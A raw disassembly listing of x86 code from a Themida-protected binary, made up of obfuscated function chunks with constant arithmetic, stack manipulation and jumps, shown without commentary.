		jp	loc_5A15ED
		add	edi, 13623F6Bh
		jg	loc_598A2F
		push	esp
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A5103:				; CODE XREF: sub_5A1B2A-34C1j
		mov	[esp-4+arg_0], eax
		mov	al, 0ADh
		push	eax
		not	byte ptr [esp+0]
		pop	eax
		jmp	loc_5A7469
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A5112:				; CODE XREF: sub_5A8D43-3F86j
		push	6C2Dh
		jmp	loc_5AAC57
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_5A511C:				; CODE XREF: sub_5A36E3-642Aj
		xor	ebp, 9A5FDE60h
		inc	ebp
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 68B54FE3h
		inc	ebp
		or	ebp, 74391C63h
		xor	ebp, 1D1761B9h
		jmp	loc_5A9A40
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A513E:				; CODE XREF: sub_5A41D6+8604j
		mov	al, dh
		jmp	loc_5ABFFC
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A5145:				; CODE XREF: sub_5A17D6+409Bj
		add	ecx, 4
		jmp	loc_59BB3F
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_5A5150:				; CODE XREF: sub_5991B7+30F5j
		or	bh, 33h
		jno	loc_5A0C1F
		jmp	loc_5A456A
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------
		sub	eax, edi
		sub	eax, 4B8869DBh
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A5165:				; CODE XREF: sub_59D99C+B65Aj
		add	eax, 35D4053Eh
		pop	edi
		sub	eax, ecx
		jmp	loc_5AE675
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_5A5172:				; CODE XREF: sub_5A6DA1-BBACj
		push	ecx
		mov	ecx, 1BAB04B7h
		sub	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 75595C38h
		xor	edi, 57FA3F26h
		jmp	loc_5A4BBE
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A518C:				; CODE XREF: sub_59EE40-2301j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_5A3BD4
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_5A51A3:				; CODE XREF: sub_59B707+2839j
					; sub_59B48F:loc_5A37C2j
		not	esi
		and	esi, 5EDF7253h
		jno	loc_59DDE7
		xor	esi, 0DC16BAEh
		sub	ecx, esi
		jmp	loc_5ABAC0
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A51BF:				; CODE XREF: sub_5AC95F-111A8j
		mov	esi, 0CAF17303h
		add	ebx, esi
		mov	esi, [esp+10h+var_10]
		push	edi
		mov	edi, esp
		jmp	loc_59E95C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A51D1:				; CODE XREF: sub_5A8C33:loc_5A0E22j
		add	edx, 0C4BE3954h
		jmp	loc_5A4539
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5A51DC:				; CODE XREF: sub_5ABE52-E5ABj
					; Themida_:005ABD21j
		xor	eax, esi
		push	esi
		jmp	loc_59F497
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A51E4:				; CODE XREF: sub_59B707+5FDFj
					; sub_59CA4A+B4FAj ...
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ebx
		push	edx
		push	2792h
		push	esp
		pop	[esp+10h+var_10]
		add	[esp+0Ch+var_C], 4
		push	[esp+0Ch+var_C]
		mov	edx, [esp+10h+var_10]
		jmp	loc_5A7C41
; ---------------------------------------------------------------------------


loc_5A5204:				; CODE XREF: sub_59B707+27j
		pop	ebx
		jmp	loc_5A4FF3
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A520A:				; CODE XREF: sub_5A8C33-F8EAj
					; sub_59B7E7+Fj
		mov	[esp+18h+var_18], esp
		jmp	loc_59802C
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A5212:				; CODE XREF: sub_59D99C+51E3j
		xchg	esi, [esp+8+var_8]
		jmp	loc_5AC72E
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_5A54C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B76


loc_5A5236:				; CODE XREF: sub_5A9B76+85Dj
		push	402Dh
		mov	[esp-8+arg_4], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-4+arg_0]
		jmp	loc_5A971B
; END OF FUNCTION CHUNK	FOR sub_5A9B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A5255:				; CODE XREF: sub_59FFBE+27Bj
		pop	ecx
		xchg	edi, [esp+10h+var_10]
		jmp	loc_5AC51E
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_5A525E:				; CODE XREF: Themida_:005A11F4j
		push	eax
		mov	eax, 7ACD7505h
		mov	ebx, eax
		pop	eax
		jmp	loc_5A92A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A526C:				; CODE XREF: sub_59D99C+90D2j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		jmp	loc_59C56A
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A527E:				; CODE XREF: Themida_:005A1828j
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		push	ebx
		push	5F903D4Ah
		pop	ebx
		shl	ebx, 5
		jp	loc_5A2794
		xor	ebx, 0F207A944h
		push	ebx
		add	dword ptr [esp], 62C74A2Eh
		pop	edi
		sub	edi, 62C74A2Eh
		pop	ebx
		jmp	loc_5AA23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_5A52C7:				; CODE XREF: sub_5A9228-7196j
		add	ecx, 15BF3823h
		sub	ecx, 50B012F2h
		jp	loc_5A210C
		sub	ecx, 4AC5970Fh
		add	ebx, ecx
		jmp	loc_59ABD9
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_5A52E6:				; CODE XREF: sub_59F2C8-64D1j
		push	4275h
		jmp	loc_59CBAB
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2923


loc_5A52F0:				; CODE XREF: sub_5A2923+13j
		add	bh, al
		pop	eax
		jmp	loc_5AAF27
; END OF FUNCTION CHUNK	FOR sub_5A2923
; ---------------------------------------------------------------------------


loc_5A52F8:				; CODE XREF: Themida_:005A5680j
		shr	ebp, 6
		shl	ebp, 4
		push	edi
		mov	edi, 2479E024h
		xor	ebp, edi
		pop	edi
		sub	esi, 21247E91h
		add	esi, ebp
		push	eax
		jmp	loc_5A1CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A5315:				; CODE XREF: sub_5AC95F-9507j
		mov	[esp+10h+var_10], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 1AF9600Ah
		or	ecx, 73BF079Dh
		shr	ecx, 4
		not	ecx
		or	ecx, 0A6C1401h
		or	ecx, 31EC4C23h
		add	ecx, 413A25Dh
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], ebp
		mov	ebp, esp
		push	1343h
		mov	[esp+14h+var_14], esi
		mov	esi, 4
		add	ebp, 0FC31634h
		add	ebp, 196D29A5h
		add	ebp, esi
		jmp	loc_599C74
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	28AAh
		push	5E2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_5AAAA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_5A5392:				; CODE XREF: sub_59F2C8-36E4j
		mov	eax, 7A0E67A6h
		push	edi
		jmp	loc_5A5ADC
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5A539D:				; CODE XREF: sub_599721+5A17j
		add	esp, 4
		and	eax, ebp
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		jmp	loc_5A4AC8
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A53B0:				; CODE XREF: sub_59D99C+1132Dj
		mov	ecx, [esp+4+var_4]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A0156
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A53C1:				; CODE XREF: sub_5A600F+2C2j
		mov	ebp, 409C4CB1h
		push	626Bh
		jmp	loc_598C3A
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A53D0:				; CODE XREF: Themida_:00599BBAj
					; sub_5A8D43:loc_59B38Aj
		not	edx
		push	ebp
		mov	ebp, 52775299h
		jmp	loc_59AA10
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A53DD:				; CODE XREF: sub_59D7E7+3D03j
		sub	ebx, 597533AFh
		pop	esi
		jmp	loc_5A99C7
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------


loc_5A53E9:				; CODE XREF: Themida_:005A3846j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59DF33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1199


loc_5A53F4:				; CODE XREF: sub_5A1199-8511j
		pop	edi
		sub	esp, 4
		jmp	loc_5A73C6
; END OF FUNCTION CHUNK	FOR sub_5A1199
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A53FD:				; CODE XREF: sub_59B707+DE52j
		pop	eax
		add	eax, esi
		pop	esi
		jmp	loc_59DB2C
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5A5406:				; CODE XREF: Themida_:0059A09Dj
		pop	edi
		jmp	loc_5A3388
; ---------------------------------------------------------------------------


loc_5A540C:				; CODE XREF: Themida_:005A1CD5j
		mov	dh, 0AEh
		add	al, dh
		jmp	loc_5A4BDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B1


loc_5A5415:				; CODE XREF: sub_5AB1B1-1E28j
		xor	edx, eax
		pop	eax
		add	esi, 1F1425C8h
		add	esi, edx
		sub	esi, 1F1425C8h
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5AE7B8
; END OF FUNCTION CHUNK	FOR sub_5AB1B1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5AB894
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A5450:				; CODE XREF: sub_5A8C33-B33Bj
		mov	ecx, 4
		sub	ebp, 0F677F81h
		sub	ebp, ecx
		push	edi
		jmp	sub_59F97E
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A5463:				; CODE XREF: sub_59CA4A-201j
		add	eax, 491B5497h
		add	eax, esi
		sub	eax, 491B5497h
		mov	esi, [esp+4+var_4]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		add	eax, 3594087Fh
		sub	eax, edi
		sub	eax, 3594087Fh
		push	2A27h
		mov	[esp+8+var_8], esi
		mov	esi, 49DE4F20h
		jmp	loc_599D23
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A54A3:				; CODE XREF: sub_597C68+7B7Fj
		add	edi, 0A557088h
		jmp	loc_5A71EF
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 77C72C1Ah
		and	edi, 47D077DDh
		shl	edi, 4
		jmp	loc_59A3C1
; ---------------------------------------------------------------------------


loc_5A54C5:				; CODE XREF: Themida_:005A5231j
		add	esp, 4
		push	72F7h
		mov	[esp], ecx
		mov	ecx, 3D334D66h
		jmp	loc_5A7417
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A393F


loc_5A54DD:				; CODE XREF: sub_5A393F+9B4Aj
		mov	[esp+0], edi
		pop	esi
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		jmp	sub_5ABB4D
; END OF FUNCTION CHUNK	FOR sub_5A393F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5A54F0:				; CODE XREF: sub_599526+9D48j
		push	edx
		mov	dh, 0DBh
		dec	dh
		sub	dh, 3
		and	dh, 1Bh
		and	dh, 1Ch
		add	dh, 56h
		add	ah, dh
		pop	edx
		jmp	loc_5A41F0
; END OF FUNCTION CHUNK	FOR sub_599526

; =============== S U B	R O U T	I N E =======================================



sub_5A5509	proc near		; CODE XREF: sub_59EB21+71DDj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BD1A SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	5091AC3h
		pop	edx
		jmp	loc_59BD1A
sub_5A5509	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A551A:				; CODE XREF: sub_5A91EC+54F6j
		add	esp, 4
		jmp	loc_5A0103
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------


loc_5A5522:				; CODE XREF: Themida_:005A33CEj
		or	ecx, 398338D5h
		push	ecx
		xchg	edi, [esp]
		jmp	loc_5A9A51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A5531:				; CODE XREF: sub_5AE6FD-710Dj
		pop	eax
		jmp	loc_599DEE
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_5A5537:				; CODE XREF: sub_5AE919-B9A7j
		add	esp, 4
		add	esp, 4
		jmp	loc_5A04E5
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A5545:				; CODE XREF: sub_5A28BE-3565j
		pop	edx
		add	bl, 16h
		jmp	loc_597CE7
; ---------------------------------------------------------------------------


loc_5A554E:				; CODE XREF: sub_5AB88E-13392j
					; sub_5A28BE-95E8j
		jmp	loc_5A0E3B
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_5A5553:				; CODE XREF: sub_5A91CF+Cj
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	edi
		mov	edi, 4
		add	edx, 329D7E1Ah
		sub	edx, edi
		sub	edx, 329D7E1Ah
		pop	edi
		xor	edx, [esp+0]
		jmp	loc_59D630
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------


loc_5A5574:				; CODE XREF: Themida_:0059DE85j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_59B53A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_5A558F:				; CODE XREF: sub_5AAA81-428Bj
		add	eax, ebx
		push	699Bh
		mov	[esp+8+var_8], edx
		jmp	loc_5A445D
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A559E:				; CODE XREF: sub_59A932+11C9Fj
		neg	eax
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		push	edx
		pop	eax
		mov	edx, [esp+14h+var_14]
		jmp	loc_5A335E
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_5A55B3:				; CODE XREF: sub_5A91CF-103FFj
		pop	eax
		add	ecx, 0F7A0F77Eh
		mov	ebp, ecx
		jmp	loc_5AE886
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A55C1:				; CODE XREF: Themida_:005AC696j
					; sub_5A41D6+A68Fj
		add	esp, 4
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_5A55CC:				; CODE XREF: sub_59CD12+8007j
		pop	esp
		push	62D5h
		mov	[esp+8+var_8], ebx
		mov	ebx, 289A1DDCh
		sub	eax, 51A1405Ch
		add	eax, 22F4E8Eh
		add	eax, ebx
		push	ecx
		jmp	loc_5A40E8
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------


loc_5A55EC:				; CODE XREF: Themida_:0059C40Bj
		xchg	esi, [esp]
		jmp	loc_59C4D8
; ---------------------------------------------------------------------------


loc_5A55F4:				; CODE XREF: Themida_:0059F6CCj
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A55F9:				; CODE XREF: sub_59FFBE+6372j
		mov	[esp+10h+var_10], edx
		mov	edx, 4E1E2FC2h
		jmp	loc_59D2ED
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A5606:				; CODE XREF: sub_5A7343-240Bj
		add	ebx, edi
		push	ebp
		mov	ebp, 790364CAh
		sub	ebx, 2E1967BDh
		sub	ebx, ebp
		push	edx
		mov	edx, 68257D4Dh
		jmp	loc_5AE1FC
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A5621:				; CODE XREF: sub_59D99C+865Aj
		add	esp, 4
		jmp	loc_5A79BC
; ---------------------------------------------------------------------------


loc_5A562C:				; CODE XREF: sub_59D99C+BCA6j
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		add	esp, 4
		jmp	loc_599971
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A5640:				; CODE XREF: sub_59B707-3B4Bj
		xor	bh, 2Ah
		add	bh, 1
		push	edx
		mov	dh, bh
		jmp	loc_5A34AE
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A564E:				; CODE XREF: sub_5AC402-F7D3j
		add	dl, bl
		add	dl, 0B2h
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp-4+arg_0]
		jmp	loc_599512
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------


loc_5A5670:				; CODE XREF: Themida_:005AAEC7j
		push	ebp
		mov	ebp, 6B0D2EF8h
		add	ebp, 26DA51AEh
		inc	ebp
		sub	ebp, 1
		jmp	loc_5A52F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A5685:				; CODE XREF: sub_59C53B+E79Aj
		pop	esp
		add	esp, 4
		add	edi, 4
		jmp	loc_5AA700
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A5691:				; CODE XREF: sub_59D99C-26B7j
		mov	ebp, 21D053EFh
		xor	edx, ebp
		pop	ebp
		sub	edx, 1D6C658h
		jmp	loc_59E823
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2735


loc_5A56A4:				; CODE XREF: sub_5A2735+A3C3j
		push	edi
		mov	edi, 36936965h
		jmp	loc_5AC8A8
; END OF FUNCTION CHUNK	FOR sub_5A2735
; ---------------------------------------------------------------------------


loc_5A56AF:				; CODE XREF: Themida_:005A19F4j
		push	1BDCh
		mov	[esp], esp
		push	edi
		jmp	loc_59D91A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A56BD:				; CODE XREF: sub_5AB88E:loc_5A8690j
		add	edi, 6E0D9DE2h
		sub	edi, 5B0F398Fh
		push	edx
		jmp	loc_5AA1AE
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A56CF:				; CODE XREF: Themida_:005AC766j
		add	ebp, edx
		add	ebp, 7FE627BDh
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		add	ebx, 4
		jmp	loc_5ABCD5
; ---------------------------------------------------------------------------


loc_5A5706:				; CODE XREF: Themida_:00598624j
		push	3CB8h
		jmp	loc_599984
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5AA2F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A572B:				; CODE XREF: Themida_:0059A94Bj
					; sub_5A7343-5964j
		sub	edi, ebp
		pop	ebp
		sub	eax, 743E1D48h
		add	eax, 39C41B45h
		jmp	loc_5A6B62
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_5A573D:				; CODE XREF: sub_5A9228-D172j
		add	ebp, 4
		push	edi
		mov	edi, 452A6E14h
		neg	edi
		add	edi, 452A6E18h
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_5ABC60
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA9C8


loc_5A575C:				; CODE XREF: sub_5AA9C8-86ECj
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		shr	eax, 18h
		xor	eax, ecx
		push	182Eh
		mov	[esp+0], esi
		push	esp
		mov	esi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5ACA59
; END OF FUNCTION CHUNK	FOR sub_5AA9C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A5783:				; CODE XREF: sub_5A8C33-B01Fj
		add	ecx, 4
		jmp	loc_5A71A0
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A578E:				; CODE XREF: sub_5AC402-328Bj
		mov	edx, esp
		add	edx, 4
		sub	edx, 2
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp+0], bx
		mov	bl, ah
		dec	bl
		jmp	loc_59FA52
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B9


loc_5A57AA:				; CODE XREF: sub_5AB1B9+4j
		push	edi
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	edi, [esp+8+var_8]
		jmp	loc_5A0A79
; END OF FUNCTION CHUNK	FOR sub_5AB1B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A57BD:				; CODE XREF: sub_5A8D43-4410j
		bt	[esp+0], eax
		pushf
		jmp	loc_5A17D1
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A57C7:				; CODE XREF: Themida_:loc_59919Bj
					; sub_597C68+9C04j
		pop	[esp+8+var_8]
		jmp	sub_5A5F8D
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	6FDBh
		mov	[esp], eax
		jmp	loc_5AE95A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A57E0:				; CODE XREF: sub_5A58AC+27Ej
		pop	ebp
		xor	edx, eax
		jmp	loc_5A14EF
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A04C2


loc_5A57E8:				; CODE XREF: sub_5A04C2-1CE0j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A04C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A57ED:				; CODE XREF: sub_5A0F44-42A8j
		add	ebx, 0E4118B90h
		add	edi, ebx
		pop	ebx
		add	edi, 27101D59h
		add	ecx, edi
		mov	edi, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59B1BC
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5F8D


loc_5A5812:				; CODE XREF: sub_5A5F8D-BA56j
		mov	esp, [esp+8+var_8]
		bt	[esp-4+arg_0], ax
		pushf
		jmp	loc_5AC219
; END OF FUNCTION CHUNK	FOR sub_5A5F8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5A5820:				; CODE XREF: sub_59AE49+17j
		sub	edi, 413C6271h
		jbe	loc_5AB4AC
		and	edi, 52201223h
		jmp	loc_5A05B5
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A5837:				; CODE XREF: sub_59EE40+5DFBj
		or	edi, 747538D0h
		xor	edi, 0DAF8368Fh
		jmp	loc_59ADB4
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2735


loc_5A5848:				; CODE XREF: sub_5A2735+9j
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	ebp
		push	ecx
		mov	ecx, 25651E07h
		jmp	loc_59ADE0
; END OF FUNCTION CHUNK	FOR sub_5A2735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_5A5859:				; CODE XREF: sub_59B923+1246Ej
		not	ebp
		xor	ebp, 0FFFEFF8Bh
		jmp	loc_5A0584
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5A5866:				; CODE XREF: sub_5A1340+89E7j
		pop	ecx
		add	al, 4Fh
		pop	ecx
		jmp	loc_59AB4E
